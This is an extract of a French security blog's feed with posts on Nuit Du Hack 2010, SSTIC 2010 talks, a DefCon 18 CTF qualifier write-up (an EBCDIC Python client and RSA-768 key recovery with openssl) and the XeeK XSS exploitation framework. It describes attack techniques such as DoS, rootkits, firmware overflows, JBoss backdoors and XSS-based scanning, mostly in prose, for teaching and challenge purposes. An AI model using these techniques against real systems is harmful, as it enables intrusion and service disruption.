Après avoir câblé toute la salle en une trentaine de minutes, les 12 équipes sont accueillies et s’installent. Virtualabs présente rapidement l’objectif du challenge. Comme l’année dernière, il s’agit de défendre ses serveurs (Windows et Linux) tout en attaquant ceux des autres équipes. Pour valider une faille, l’équipe doit récupérer un hash et le soumettre, chaque épreuve ne pouvant être résolue qu’une seule fois.
Les dénis de services sont autorisés, mais ne doivent pas cibler le serveur de monitoring. L’accès à Internet est fourni mais ne doit pas être utilisé pour communiquer avec des personnes extérieures sous peine de pertes de points voire de disqualification. La grosse nouveauté cette année est la présence d’un tableau de bord pour les équipes qui permet de suivre en temps réel l’évolution des scores. Les équipes sont libres de corriger leurs failles, mais ne disposent pas d’un accès root. En parallèle à cela, des épreuves communes sont lancées sur un serveur dédié.
Après quelques validations de la team Choucroute, les dénis de service deviennent rapidement (et malheureusement) la seule stratégie viable, du fait de la quantité importante de points perdue par l’équipe victime. Cela engendre alors un nombre assez importants de problèmes : plus de réseau pour certaines équipes, épreuves non accessibles, déconnexions SSH intempestives… Comme si cela ne suffisait pas, des problèmes internent viennent s’ajouter : problèmes au niveau du serveur de monitoring, crash de la base MySQL à cause d’une erreur de débranchement de prise électrique, problèmes sur les permissions des fichiers dus à une mauvaise version des ghosts déployés, etc. Sans parler du challenge public qui est assailli par des dizaines de participants et dont le Wifi souffre atrocement. Les concepteurs du CTF ne savent plus ou donner de la tête et sont sans cesse en train de redémarrer les VMs, patcher des fichiers sur les serveurs équipes (quand ceux-ci sont accessibles), etc. Et la team WWFamous ne les aide pas, puisque ce sont eux qui lancent majoritairement tous ces DoS à grand coup de slowloris et variantes sur SSH…
A 6h45, les WWFamous sont déclarés vainqueurs, Beerware terminent 2ème et Kowalski 3ème. Les lots sont distribués : disques datalocker, place pour Hacker Halted à Miami, formations…
Le public quitte tranquillement la péniche, tandis que nous remballons tout le matériel en luttant contre la fatigue…
Au final, très peu d’épreuves ont pu être exploitées avec succès pendant ce challenge. Pas mal d’équipes nous ont demandé s’il était possible de diffuser les épreuves en ligne ainsi que les solutions. C’est désormais chose faite ! Rendez-vous sur wargame.nuitduhack.com et préparez-vous à griller quelques neurones  
Bilan
J’ai croisé beaucoup de monde pendant cette soirée, mais je n’ai malheureusement pas pu discuter avec tout le monde. En me basant sur les retours de ces personnes, je pense pouvoir affirmer que cette Nuit Du Hack 2010 était un véritable succès. Certes nous avons rencontré un certain nombre de problèmes qui en ont déçu certains, notamment le streaming qui n’a pas pu se faire convenablement, ou les dysfonctionnement des challenges. Nul n’est parfait ; chaque année nous faisons face à certains problèmes que nous tentons de résoudre l’année suivante. On le voit clairement lorsque l’on compare la NDH de cette année avec celle de 2007 par exemple… Cette année, un effort considérable a été porté sur l’organisation du challenge, la communication avec les équipes, le respect du timing pour les conférences, le niveau sonore (qui, on le rappelle, était assez insupportable les années précédentes), etc. Je remercie toute l’équipe pour avoir réussi à organiser un événement de cette ampleur, qui est à ma connaissance le plus grand de ce genre en France.
N’hésitez pas à donner votre avis sur l’événement, faites nous part de vos remarques et vos suggestions pour les années futures. Un topic/sondage va très certainement être ouvert sur les forums officiels, alors comme on dit, lachez vos com’ !
Note : Ayant été assez occupé, je n’ai pris que très peu de photos de l’événement. Je les mettrai sans doute en ligne dans quelques jours. En attendant vous pouvez en trouver sur Les Tutos de Nico.
]]>
			http://www.segmentationfault.fr/securite-informatique/nuit-du-hack-2010-bilan/feed/
		7
		
		
		
		http://www.segmentationfault.fr/securite-informatique/sstic-2010/
		http://www.segmentationfault.fr/securite-informatique/sstic-2010/#comments
		Sat, 12 Jun 2010 12:08:41 +0000
		Emilien Girault
				
		
		
		

		http://www.segmentationfault.fr/?p=812
		
			Me voici de retour de l’édition 2010 du SSTIC. C’était la première fois que j’allais à cette excellente conférence, réunissant pas moins de 450 personnes autour de différents thèmes centrés sur la sécurité des systèmes d’information. Au programme : 3 jours de conférences, des rump sessions, un social event, des geeks, des trolls, du code qui défile, bref une super ambiance. Plusieurs personnes ont déjà fait un compte rendu détaillé de chaque conf (qui plus est en temps réel, chapeau à eux !), aussi je ne détaillerai ici que celles que j’ai trouvées les plus marquantes. Ce billet est pour le moment incomplet, il sera terminé très prochainement.

Enjeux et défis pour le renseignement technique
La première conférence est présentée par Bernard Barbier, directeur technique de la DGSE. Il y présente les activités pratiquées par l’agence à l’extérieur du territoire français, principalement en matière de renseignement d’origine technique, et rappelle les différents enjeux liés à la sécurité des systèmes d’information, en particulier les moyens de communication  et la cryptographie. Quelques méthodes techniques d’obtention de renseignement sont illustrées, tout en rappelant leur aspect souvent clandestin et les conséquences que cela peut avoir dans certains pays. On y apprend (ou pas) que la DGSE pratique l’écoute téléphonique, analyse des photos satellite, utilise des super-calculateurs à des fins de cryptanalyse, et met en œuvre des techniques visant à fragiliser les méthodes de chiffrement lorsque celles-ci ne sont pas cassable en un temps raisonnable. Le tout étant présenté avec une transparence relative mais appréciable, du moins tant qu’on ne demande pas de la taille des clés RSA que l’agence est en mesure de casser  . La conf se termine par un message clair : la DGSE recrute 100 personnes par an. Candidats, faites-vous connaître…
Keynote par Bernard Barbier, directeur technique de la DGSE
CASTAFIOR : Détection automatique de tunnels illégitimes par analyse statistique
Fabien Allard et Mathieu Morel (Thales) présentent un outil permettant de détecter l’utilisation de différents protocoles encapsulés dans du HTTPS. Leur méthode est basée sur un apprentissage utilisant un ensemble d’exemples traité en utilisant différentes méthodes de classification, les paramètres étant principalement la longueur des paquets et le temps entre chacun. Leurs expériences montrent que les meilleurs résultats sont obtenus en combinant Random Forest et les modèles de Markov cachés. Au final, on obtient 96% de bonnes classifications, et aux alentours de 5%.
virtdbg : un débogueur noyau utilisant la virtualisation matérielle
Damien Aumaitre et Christophe Devine (SOGETI ESEC) dévoilent un debugger au but simple mais ambitieux : pouvoir debugger un système Windows 7 64 bits sans activer le flag /DEBUG, ni désactiver PatchGuard. Deux problèmes : impossible de charger un driver non signé par la méthode classique, ni de patcher l’IDT (PatchGuard l’en empêche). Leur technique consiste à utiliser le DMA afin d’injecter leur driver comprenant leur hyperviseur. Pour ce faire, ils utilisent un FPGA connecté par PCMCIA sur la machine à debugger, et en USB sur le debugger. L’hyperviseur utilise la virtualisation hardware basée sur la technologie Intel  VT-x (à la BluePill), et permet d’intercepter les interruptions 1 et 3. L’interface de leur debugger est codée en Python, et dialogue avec l’hyperviseur en utilisant le protocole GDB. Le tout avec une démo qui marche, bravo à eux  .
Démo de virtdbg par Damien Aumaitre et Christophe Devine
Analyse de programme par traçage
Pour Daniel Reynaud, Jean-Yves Marion et Wadie Guizani, l’analyse statique de blob binaire c’est bien, mais pas suffisant. Surtout dans le cas de binaires packés par couches. On propose donc un outil libre nommé TraceSurfer basé sur PIN, permettant de suivre de déroulement d’un programme en générant des traces, puis de les importer dans des outils comme IDA Pro. Le résultat est assez sexy ; on peut alors visualiser les instructions effectivement exécutées par le programme, et détecter les éventuelles protections anti-debugging comme les auto-modifications ou contrôles d’intégrité. Il est possible de générer des graphes mettant en évidences les différentes couches d’un binaire packé. Pour tester sa performance, l’outil a été lancé sur un cluster dans le but de détecter des protections anti-VM de plusieurs milliers de malwares obtenus grâce à un honeypot. Les résultats sont assez intéressants, bien que je ne me souvienne plus des chiffres… À tester !
TraceSurfer en action dans IDA Pro
Intéressez-vous au droit… avant que le droit ne s’intéresse à vous.
Éric Barbry nous livre un véritable one man show qui contraste fortement avec le caractère technique des conférences précédentes. La France possède toute une série de lois relative aux systèmes d’informations, dont certaines difficilement applicables, et en pratique rarement appliquées en intégralité : Informatique et libertés, LSQ, LCEN, HADOPI, LOPPSI, etc. Et pourtant, «nul n’est censé ignorer la loi»… L’accent est porté sur la responsabilité, autour de questions concrètes telles que «Qui est le responsable si un employé télécharge illégalement du contenu ou parie en ligne sur des sites non autorisés depuis son bureau ?». Une très bonne intervention qui aura su capter l’intérêt de l’auditoire tout en traitant d’un sujet souvent considéré comme barbant  
Les multiples casquettes du RSSI
Résultats et solution du challenge
Le lendemain matin, on présente les résultats du challenge de cette année, qui en a dérouté plus d’un. Les solutions sont en ligne, je vous invite donc à les lire car je doute vraiment être le mieux placé pour les exposer ici… On a droit à un résumé par Arnaud Ébalard (EADS Innovation Works) dont la solution a été classée 1ère en terme de qualité. En vrac, on notera la récupération des .APK en utilisant les spécificités du format ZIP et un bruteforce sur les pages physiques, une couche crypto ressemblant à du Vigenère, une clé publique dont la seule composante utile était la sous-clé ElGamal, l’utilisation de PARI/GP pour l’attaquer, la décompilation des .DEX avec Baksmali, du reversing de librairie .SO, des énigmes tordues, et un hash Shabal 256 mal utilisé. Un grand bravo à lui ainsi qu’à tous ceux qui ont réussi le challenge !
Mentions spéciales pour le challenge
Analyse de l’efficacité du service fourni par une IOMMU
Par Éric Lacombe, Fernand Lone Sang, Vincent Nicomette et Yves Deswarte (LAAS/CNRS). Le but d’une IOMMU est de contrôler les accès à la mémoire par les différents périphériques d’entrée/sortie, telle que la MMU vis-à-vis du CPU. Dans le cadre des attaques DMA, une IOMMU traduit les adresses virtuelles demandées par le périphériques en adresses physique en se basant sur deux critères principaux : le source-id identifiant le périphérique, et des tables de traductions internes. La conférence présente deux attaques visant chacun de ces critères : la reconfiguration des tables et le spoofing de source-id. La deuxième attaque est mise en œuvre en utilisant un pont PCI – PCI Express, fréquent surtout pour les machines anciennes. Un tel pont permet de connecter des devices PCI sur l’interface PCI Express ; le problème étant que tous les devices PCI rattachés partagent alors le même source-id. Une démo faisant intervenir un iPod malveillant et une carte réseau connecté sur un tel pont montre comment il est possible de déclencher une attaque d’ARP Cache Poisonning. Les paquets ARP étant injectés par l’iPod dans les buffers de réception gérés par les drivers de la carte réseau, l’attaquant n’a plus besoin d’envoyer de trames. On a ainsi droit à un hijacking en live d’un épisode de The Big Bang Theory regardé en streaming  
Quelques éléments en matière de sécurité des cartes réseau
Par Guillaume Valadon, Loic Duflot, Olivier Levillain et Yves-Alexis Perez (ANSSI). Cette excellente conférence revient sur l’exploitation d’une vulnérabilité des cartes réseau Broadcom, patchée depuis. On y apprend avec stupéfaction (du moins pour ma part !) qu’une carte réseau est très loin d’être un élément « simple ». En effet, celle-ci possède un firmware qu’il est possible de flasher temporairement, qui gère certains protocoles de façon automatique et ce sans que le CPU en ait conscience ! Ainsi, ces carte réseau comportent leur propre pile IP et est même capable de gérer des messages SOAP… Le problème, c’est que celles-ci sont parfois implémentées sans notion de sécurité. Ici en l’occurrence, les auteurs mettent en évidence un buffer overflow touchant le champ « username » du protocole ASF,  utilisé pour le management et le monitoring. Pour être en mesure de l’exploiter, ils ont du coder un debugger de carte réseau, en utilisant le fait que les registres de la carte sont mappés en mémoire, et que celle-ci possède des options de debug (mode single-step, breakpoint…). En live, ils exploitent la vulnérabilité et montrent comment déclencher un remote root shell en envoyant un message ICMP. Vraiment bluffant…

Exploitation de buffer overflow dans le firmware d'une carte réseau
Applications Facebook : Quels Risques pour l’Entreprise ?
Alban Ondrejeck, Francois-Xavier Bru et Guillaume Fahrner montrent les résultats d’une expérience intéressante visant à mettre à l’épreuve le (non) contrôle des applications Facebook. Sous le couvert d’une application « Who crashed you? » codée maison et a priori « utile », ils récoltent des informations personnelles sur les utilisateurs l’ayant installé, et exploitent le caractère viral du réseau social. En créant une vingtaine de profils fictifs et en ajoutant divers personnes comme amies, ils parviennent très rapidement à répandre l’application et à collecter des informations sur tous leurs utilisateurs (dommage, je n’ai pas noté les chiffres). Cela montre une absence de contrôle concernant les permissions de telles applis.
Projet OpenBSC
Harald Welte part d’un constat simple : les protocoles GSM et 3G sont documentés publiquement, mais les études de sécurité à ce sujet sont très peu nombreuses, du fait que l’industrie de la téléphonie est un monde très fermé (coût très élevé du hardware, notamment). Et pourtant, ces protocoles sont beaucoup plus répandus que ce que l’on pourrait croire. Comme le dit si bien l’orateur, «GSM is more than phone calls» : ce protocole est utilisé non seulement par les téléphones, mais aussi par certaines voitures, trains, systèmes d’alarmes, distributeurs, etc. Après avoir exposé rapidement l’architecture d’un réseau GSM, l’auteur introduit le projet OpenBSC, qui vise à fournir les éléments nécessaires à la réalisation de son propre réseau GSM. Une sorte d’Asterisk pour le GSM, en gros… Les différents problèmes de sécurité du GSM sont rapidement abordés : pas d’authentification entre le téléphone et le réseau, chiffrement faible, optionnel et non explicite (rien ne permet à un utilisateur de savoir si ses communications sont véritablement chiffrées), dénis de service possibles, géolocalisation… N’ayant jamais étudié ces protocoles, je suis loin d’avoir tout saisis, mais la conférence était très intéressante et incite à en savoir plus.

Architecture d'un réseau GSM
Rumps sessions
Pour les néophytes du SSTIC, les rumps sessions sont des mini exposés de 4 ou 5 minutes présentables par n’importe qui et sur n’importe quel sujet, lié de près ou de loin à la sécurité. Je n’ai pas tout noté (pas comme Sid), donc voici en vrac quelques une d’entre elles :

Kesske SSTIC, qui dévoile pas mal de chiffres sur l’édition 2010 du SSTIC. Pour ne citer que le minimum : 450 places écoulées en 25 heures, près de 2/3 du budget passe dans la bouffe (social event et resto universitaire), et un taux d’acceptation de 60% pour les soumissions de papier.
Timing attack sur machine à café, ou comment exploiter une vulnérabilité de machine à café pour gagner de la fidélité sur sa carte, et donc des café gratuits. Le principe est simple : retirer la carte après que la machine ait incrémenté la fidélité, et avant le débit  
Netglub, où on a le droit à une super démo d’un outil Maltego-like en C++/Qt et « vraiment OpenSource » permettant de faire de la recherche d’information. Vraiment sympa, j’ai hâte que ça sorte.
Deux projets qui vont bientôt sortir : le moteur de recherche de vulnérabilités QSWX et son spider Bubulle, et SecurityGarden, une sorte de PaketStorm en mieux.
ExeFilter contre les méchants PDF : outil de nettoyage de fichiers, utilisable pour désactiver les contenus malveillants dans un PDF et accessoirement se protéger des 0-days potentiels.
BOSS : Break Our Steganography System, un challenge de stégano débutant à la fin du mois.
Scapytain : Philipe Biondi expose de façon inédite un outil de gestion de campagne de tests basé sur Scapy.


Présentation de Scapytain sous GIMP
JBOSS AS: Exploitation et sécurisation
Renaud Dubourguais (HSC) présente un état de l’art des vulnérabilités touchant le middleware JBOSS AS, démos à l’appui. Dès le début, c’est très clair : il n’y a pas de mécanismes de sécurité par défaut. Autrement dit, il y a de quoi faire… Console d’administration JMX accessible sans authentification (ou avec admin/admin), déploiement de backdoor sous forme d’application SAR, utilisation du protocole RMI, accès à la web console… Des mécanismes de sécurité existent (JBOSS SX, sandboxing) mais sont rarement implémentés en pratique. Une conférence très intéressante qui donne envie d’auditer du JBOSS…
Audit d’applications .NET complexes
Nicolas Ruff (EADS) dresse un état de l’art des techniques de reversing de code .NET permettant d’auditer les applications Microsoft. Une fois compilé, le bytecode .NET conserve la sémantique du code source, et il est possible de le décompiler avec des softs adaptés comme l’excellent Reflector, et d’utiliser l’API de reflexion pour récupérer de nombreuses informations. La compilation de ce bytecode en langage machine peut se réaliser à la volée (Just In Time) ou bien sous forme de DLL dans le Global Assembly Cache, que l’on peut également analyser avec des outils comme IDA. J’y apprend également que Windbg supporte le debugging d’applications .NET avec l’extension SOS accessible par la commande .loadby sos mscorwks. Démonstration pratique avec Songsmith, et hop.
PoC(k)ET, les détails d’un rootkit pour Windows Mobile 6
Cédric Halbronn expose les spécificités de l’implémentation d’un rootkit pour smartphone Windows Mobile 6. Ce genre de plateforme impose certaines contraintes, principalement la quantité de mémoire et la consommation de la batterie. Cependant comme le dit si bien l’auteur, le modèle de sécurité de Windows Mobile est très permissif. Les applications doivent être signées pour pouvoir s’installer… mais cette restriction est implémentée par le simple affichage d’un message d’avertissement. D’autre part, il est possible d’installer facilement un certificat dans le magasin de certificats privilégiés du téléphone, qui est invisible et inaccessible pour l’utilisateur. Il est alors facile de mettre en place un système de download & execute furtif. En outre, le passage en mode noyau se fait on ne peut plus simplement, grâce à l’appel à l’API SetKMode() ! Il devient alors possible de hooker le driver baseband gérant les commandes AT, la saisie du code PIN (qui transite en clair entre le baseband et le CPU), les SMS… L’injection de DLL est aussi possible, donc camoufler des fichiers peut se faire de la façon habituelle avec un hook des API FindFirstFile() etc. Le rootkit exposé ici est injecté par WAP Push, est contrôlable par une interface graphique, et n’est pas détecté par les anti-virus, qui d’après l’auteur «ne détectent qu’entre 5 et 10 virus»… Une question est posée : «Comment se protège-t-on alors ?». La réponse est claire : «On ne prend pas Windows Mobile»  

Interface d'admin du rootkit
Projet OsmocomBB
Harald Welte nous parle maintenant du projet OsmocomBB, visant cette fois-ci à fournir un baseband OpenSource pour téléphone mobile. J’ai été un peu largué, mais la démo super visuelle et intéressante a retenue mon attention. Il s’agissait de sniffer les communications GSM avec un mobile Motorola (coutant aux alentours de 15€) connecté à un laptop, puis et de les rendre affichables dans Wireshark (sans les déchiffrer). Le tout dans un amphi plongé dans le noir et illuminé par le code défilant à l’écran… Comme le disaient certains, «Le SSTIC revient aux sources» !

Wieshark sniffant du GSM
Conclusion
Comme je le disais en intro, j’ai volontairement omis quelques conférences (notamment celle de clôture), principalement car car la mémoire me fait défaut, ou bien parce que j’estime que des bien meilleurs résumés ont été fait avant moi…
Globalement les conférences étaient d’excellente qualité. Mes coups de cœur restent les interventions techniques, (virtdbg, l’IOMMU, la sécurité des cartes réseau, JBOSS, le reversing d’applis .NET, PoC(k)ET, GSM…) même si les autres ne manquaient pas de qualité. Concernant la conférence sur OPA que je n’ai pas mentionnée ici, je suis assez d’accord avec ce qu’a exposé Sid sur son blog. Son contenu aurait pu être beaucoup plus intéressant, dommage qu’elle visait le mauvais public…
En tout cas, chapeau aux comités d’organisation et de programme ! J’espère pouvoir revenir l’année prochaine. En attendant, rendez-vous à la Nuit Du Hack le week-end prochain  
Mes photos sont disponibles sur ma galerie Picasa.

]]>
			http://www.segmentationfault.fr/securite-informatique/sstic-2010/feed/
		9
		
		
		
		http://www.segmentationfault.fr/securite-informatique/resume-dc18-ctf-quals/
		http://www.segmentationfault.fr/securite-informatique/resume-dc18-ctf-quals/#comments
		Mon, 24 May 2010 19:29:25 +0000
		Emilien Girault
				
		
		
		
		

		http://www.segmentationfault.fr/?p=796
		
			Contrairement à ce que certains pensent peut-être en voyant ce blog à l’abandon depuis plusieurs mois, non, je ne suis pas mort ! J’ai simplement été assez pris ces derniers temps, et j’essaye au passage de finaliser ma première release de XeeK pour la NDH le 19 juin…
Ce week-end, j’ai rapidement participé aux qualifications du CTF de la DefCon 18. Je n’avais pas refait de challenge depuis Insomni’hack 2010 donc je me suis senti obligé de me décrasser un peu le cerveau. Ma participation à ces qualifications est toutefois restée limitée ; n’ayant pas pu m’inscrire à temps j’ai du rejoindre une team à l’arrache (Big-Daddy).
Vue d’ensemble
Le challenge consistait en 6 séries de 5 épreuves, chacune intitulée de la sorte :

Poursuit trivial (épreuves générales)
Crypto Badness (cryptographie)
Packet Madness (réseau)
Binary L33tness (cracking, applicatif)
Pwtent Pwnables (exploitations de services)
Forensics (analyse de fichiers)

N’ayant pas énormément de temps à consacrer à ce challenge, je n’ai pas vraiment touché à tout mais me suis focalisé sur la crypto et le réseau.
Dans l’ensemble j’ai trouvé ça plutôt sympa, même si j’ai quand même deux remarques négatives à faire :

L’interface du panneau d’équipe codée en Java était vraiment plus que foireuse. Je ne sais pas si c’était du au fait qu’on soit plusieurs à partager le même compte, mais il fallait bouriner comme un dingue sur le bouton de validation afin d’avoir un espoir de valider les réponses (valides), voire même parfois se reconnecter.
Certaines épreuves étaient relativement capilotractées, dans le sens ou elles n’étaient pas réalistes du tout et qu’il fallait être à peu près aussi dingue que leur concepteur pour la valider. Enfin je pense que ça doit être à peu près pareil sur tous les challenges du genre…

Étant loin d’avoir réussi à valider toutes les épreuves, je vous propose de dévoiler la solution de deux d’entre elles que j’ai trouvées assez sympathiques.
Packet Madness 200
Dans cette épreuve, on fournissait une capture de paquets (à renommer en .pcap), le but étant comme toutes les autres épreuves de trouver une passphrase de validation.
Sous Wireshark, on constate qu’il s’agit d’un trafic TCP entre un client et un serveur. En utilisant l’option « Follow TCP Stream », on constate qu’il semble s’agir de trafic binaire…
Capture Wireshark
Cependant, l’indice laissé par l’épreuve suggère que les deux machines communiquent avec une « langue » inhabituelle. S’agirait-il d’un encodage connu mais peu courant ? En regardant un peu les encodages supportés par Wireshark, on s’aperçoit rapidement qu’ils ‘agit en fait de l’EBCDIC, encodage créé par IBM qui semble remonter à l’époque quasi-préhistorique des cartes perforées… En utilisant cet encodage, on y voit tout de suite plus clair :
Trafic décodé
Il s’agit donc d’une sorte de telnet encodé en EBCDIC. Visiblement, le serveur propose plusieurs options, comme la création d’un compte, l’authentification, un mode maintenance et un affichage de news. L’IP du serveur visible dans le dump, 192.42.96.121, existe bel et bien et héberge bien ce service sur le port 8686. Il semble donc que la réponse à l’épreuve doive être obtenue en s’y connectant. Malheureusement les outils classiques comme telnet et netcat ne supportent pas l’EBCDIC. Mais c’est sans compter Python, qui le supporte nativement, et qui va ainsi nous permettre de se coder un petit client maison :
#!/usr/bin/python

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.41.96.121", 8686))

while True:
 data = s.recv(3000)
 print data.decode('EBCDIC-CP-BE').encode('ascii')

 input = raw_input()
 input_to_send = input.decode('ascii').encode('EBCDIC-CP-BE')+"%"
 s.send(input_to_send)
Ce client permet d’envoyer des commandes au service tout en affichant ses réponses. Toutefois, j’ai constaté qu’il était toujours en retard d’un message par rapport au serveur. N’ayant pas le temps d’être perfectionniste, je m’en suis contenté et ai pu me créer un compte sur le serveur avec la commande « a », puis me loguer avec ce même compte (« l »). Le mode administrateur « m » ne fonctionnant pas, il ne restait que l’affichage des news (« n »), qui donnait cette sortie :
5/21/2010 - Defcon qualifiers are underway.

5/18/2010 - It's Bob Randolph's birthday today, wish him well
 if you see him

5/16/2010 - It's IBM old timer's night at the bowling alley.
 The key thing to remember at these things is that:
 once upon a time IBM ruled the world

4/29/2001 - First post! w00t!
La news du 16 mai 2010 m’interpelle du fait de la présence du mot « key »… Nous testons donc la réponse « once upon a time IBM ruled the world » à l’épreuve, et après un léger acharnement collectif sur le team board, nous parvenons à valider ! Finalement, ce n’était pas compliqué…
Crypto Badness 400
Dans cette épreuve épinglée de l’indice « crack me », on fournit une archive tgz (encore une fois à renommer). Celle-ci contient un fichier blob.dat visiblement chiffré et une clé publique pubkey.pem. Il s’agit donc visiblement de casser la clé publique afin de retrouver la clé privée et déchiffrer le fichier .dat. Voici la clé publique :
-----BEGIN RSA PUBLIC KEY-----
MGgCYQDK2YRVfJfgOUMaImrXJ/DG1D7z1BhGnxs3UEmyKYQ+6fg7H5dzisJ09fYf
QB8h8ZE+S2S7MbVaONOYwN/tALE5LwiJcRxEs1nnl2xhf8xzTwbj6VwmR2CRtS9G
LnlBPbUCAwEAAQ==
-----END RSA PUBLIC KEY-----
Il s’agit d’une clé RSA. Pour analyser ce genre de clé, l’outil tout indiqué est OpenSSL. Cependant, une mauvaise surprise nous attend…
$ openssl rsa -pubin -in pubkey.pem -text
unable to load Public Key
20934:error:0906D06C:PEM routines:PEM_read_bio:no start line:pem_lib.c:647:Expecting: PUBLIC KEY
Impossible de lire la clé avec cet outil, donc. Un peu de recherche Google, et je trouve quelqu’un qui a eu le même problème :
The problem is this an RSA public key PEM or DER generated by Ruby’s OpenSSL::PKey::RSA are unreadable by OpenSSL, Bouncy Castle and probably other  crypto tools.
The actual issue is that Ruby’s OpenSSL::PKey::RSA#to_pem and #to_der generate a PKCS#1 public  key format while the openssl rsa command only works PKCS#8 formatted public keys.
Ainsi, la clé semble avoir été générée avec le module OpenSSL de Ruby, et son format PKCS#1 empêche sa lecture avec OpenSSL. Qu’à cela ne tienne, nous allons utiliser ce même module pour la lire ! On ouvre le shell Ruby (IRB) et on tape :
$ irb
irb(main):001:0> require 'openssl'
=> true
irb(main):002:0> a=OpenSSL::PKey::RSA.new(File.read("pubkey.pem"))
=> -----BEGIN RSA PUBLIC KEY-----
MGgCYQDK2YRVfJfgOUMaImrXJ/DG1D7z1BhGnxs3UEmyKYQ+6fg7H5dzisJ09fYf
QB8h8ZE+S2S7MbVaONOYwN/tALE5LwiJcRxEs1nnl2xhf8xzTwbj6VwmR2CRtS9G
LnlBPbUCAwEAAQ==
-----END RSA PUBLIC KEY-----

irb(main):003:0> a.params
=> {"dmq1"=>0, "dmp1"=>0, "iqmp"=>0, "n"=>12301866845301177551304949
58384962720772853569595334792197322452151726400507263657518745202199
78646938995647494277406384592519255732630345373154826850791702612214
29134616704292143116022212404792747377940806653514195974598569021434
13, "d"=>0, "p"=>0, "e"=>65537, "q"=>0}
On arrive ainsi à extraire le module (n) et l’exposant public (e). Ce dernier étant quasiment toujours le même, seul le module importe ici. Pour savoir si nous avons une chance de le casser, regardons sa taille en bits :
$ python
>>> import math
>>> n=12301866845301177551304949583849627207728535695953347921973224
52151726400507263657518745202199786469389956474942774063845925192557
32630345373154826850791702612214291346167042921431160222124047927473
7794080665351419597459856902143413
>>> math.log(n, 2)
767.66426718447133
Il semble codé sur 768 bits… Cela ne vous rappelle rien ? Le nombre RSA-768 a été cassé en décembre dernier. Et comme par hasard, c’est bien le même qui est utilisé ici… Nous allons donc pouvoir utiliser sa factorisation pour générer la clé privée correspondante. Par chance, StalkR de la team Nibbles a posté un article très similaire issu du CTF Codegate il y a quelques mois. Il y indique la procédure à suivre pour générer le certificat, qui pour simplifier se résume à télécharger un en-tete d’OpenSSL ainsi qu’un programme C servant à générer la clé. On lance tout ça :
$ gcc -lssl -o create_private create_private.c
$ ./create_private
La clé privée est générée dans le fichier private.pem. Il ne reste alors plus qu’à décrypter le fichier blob.dat en utilisant la commande :
$ openssl rsautl -decrypt -inkey private.pem -in blob.dat -out output.txt
Moment de vérité…
$ cat output.txt
how long until 1024 falls by the wayside?
Il s’agit bien de la réponse à l’épreuve (validée encore une fois grâce à un acharnement collectif).
Comme l’épreuve précédente, ce n’était techniquement pas compliqué, l’obstacle majeur étant la non-reconnaissance de la clé par OpenSSL… En tout cas merci à StalkR pour son article qui a été d’une grande aide.
Conclusion
Ces épreuves ont été l’occasion pour moi de me remettre un peu dans le bain des CTFs. Le niveau était globalement assez élevé (plus dur que l’année dernière à en croire certains), et nous n’avons réussi à valider que quelques épreuves; les résultats sont disponibles ici. Pour ceux que ça intéresse, vous trouverez le résultat de la dernière épreuve du Poursuit trivial ici.
Chapeau à Nibbles pour avoir terminé 10ème ; un grand bravo à eux. Et merci à tous ceux avec qui j’ai challengé, en particulier à Silkut, MatToufoutu, et Dad. En espérant que nous parviendrons à créer une équipe HZV l’année prochaine, du moins si nous avons plus de temps et de ressources…
]]>
			http://www.segmentationfault.fr/securite-informatique/resume-dc18-ctf-quals/feed/
		12
		
		
		
		http://www.segmentationfault.fr/projets/conference-sur-xeek-a-la-ndh-2010/
		http://www.segmentationfault.fr/projets/conference-sur-xeek-a-la-ndh-2010/#comments
		Sun, 21 Feb 2010 12:27:00 +0000
		Emilien Girault
				
		
		
		
		
		

		http://www.segmentationfault.fr/?p=789
		
			Comme certains ont pu le voir sur Twitter ou sur le site de la NDH, j’ai repris le développement de XeeK, un projet de framework d’exploitation de faille XSS. J’ai déjà présenté une ébauche de ce projet à la Nuit Du Hack 2009, que j’ai stoppé entre temps, faute de temps (oui, je sais, c’est mal). Mais rassurez-vous : début janvier, je me suis remis en tête de reprendre ce projet et d’en publier une version stable à la NDH 2010. En attendant la mise en place d’une page dédiée au projet, voici quelques informations sur les nouveautés à venir.


XeeK is not dead
Ainsi, je travaille activement sur le projet depuis plus d’un mois. J’ai profité de l’expérience de mes collègues pour faire une petit brainstorm sur l’état du projet, et ainsi obtenir de nouvelles idées. Comme certaines de ces idées remettaient en cause la structure mise en place, j’ai préféré reprendre le développement du projet from scratch.
Quoi de neuf depuis 2009 ?
Plusieurs personnes ont développé des outils aux fonctionnalités similaires (Beef, XSS Shell, etc). Plutôt que de réinventer la roue, j’ai préféré m’inspirer de ces outils afin d’intégrer leurs bonnes idées dans la plateforme. Voici quelques unes des nouvelles fonctionnalités prévues pour le moment : (cette liste est susceptible d’évoluer dans les mois à venir)

L’architecture est désormais de type client – serveur
Les deux entités communiquent via une API basée sur HTTP/JSON
Cette architecture permettra de développer de multiples clients, un peu sur le modèle de Metasploit :

Interface console
Interface Web
Interface graphique (applicative)
Pourquoi pas une extension Firefox


Abandon du concept de « scheduler » ; les instructions sont désormais toujours récupérées dynamiquement
Concept de chaine d’exploits : suite d’instructions qui s’enchaînent
De nouveaux exploits sont prévus

Scan de port du réseau interne
Récupération d’historique
Proxy



Au niveau technique, ce nouveau XeeK nécessitera PHP >= 5.3.0 (à cause des Late Static Bindings), MySQL ainsi que Python pour l’interface en ligne de commande.
Licence
Ce projet est développé principalement dans le cadre de mon temps R&D chez Sysdream. Il sera diffusé en GPL suite à la conférence que je donnerai à la prochaine Nuit Du Hack. Un SVN ainsi qu’un wiki seront certainement mis en place pour permettre aux intéressés de récupérer les sources ainsi que la documentation.
En attendant le 19 juin, si vous avez des idées / suggestions, n’hésitez pas  
]]>
			http://www.segmentationfault.fr/projets/conference-sur-xeek-a-la-ndh-2010/feed/
		6
		
		
		
		http://www.segmentationfault.fr/securite-informatique/nuit-du-hack-2010-georges-hotz/
		http://www.segmentationfault.fr/securite-informatique/nuit-du-hack-2010-georges-hotz/#comments
		Thu, 11 Feb 2010 14:41:16 +0000
		Emilien Girault
				
		
		
		
		
		

		http://www.segmentationfault.fr/?p=766
		
			La Nuit Du Hack 2010 aura lieu le 19 et 20 juin en plein centre de Paris. Comme les autres années, cet événement convivial a pour but de regrouper tous les passionnés de hacking et sécurité informatique, d’échanger librement et de tester ses connaissances par la pratique. Mais par rapport à 2009, cette année réserve son lot de nouveautés… puisque George Hotz présentera une conférence sur le cracking de la PS3 !

La PS3 retournée par George Hotz
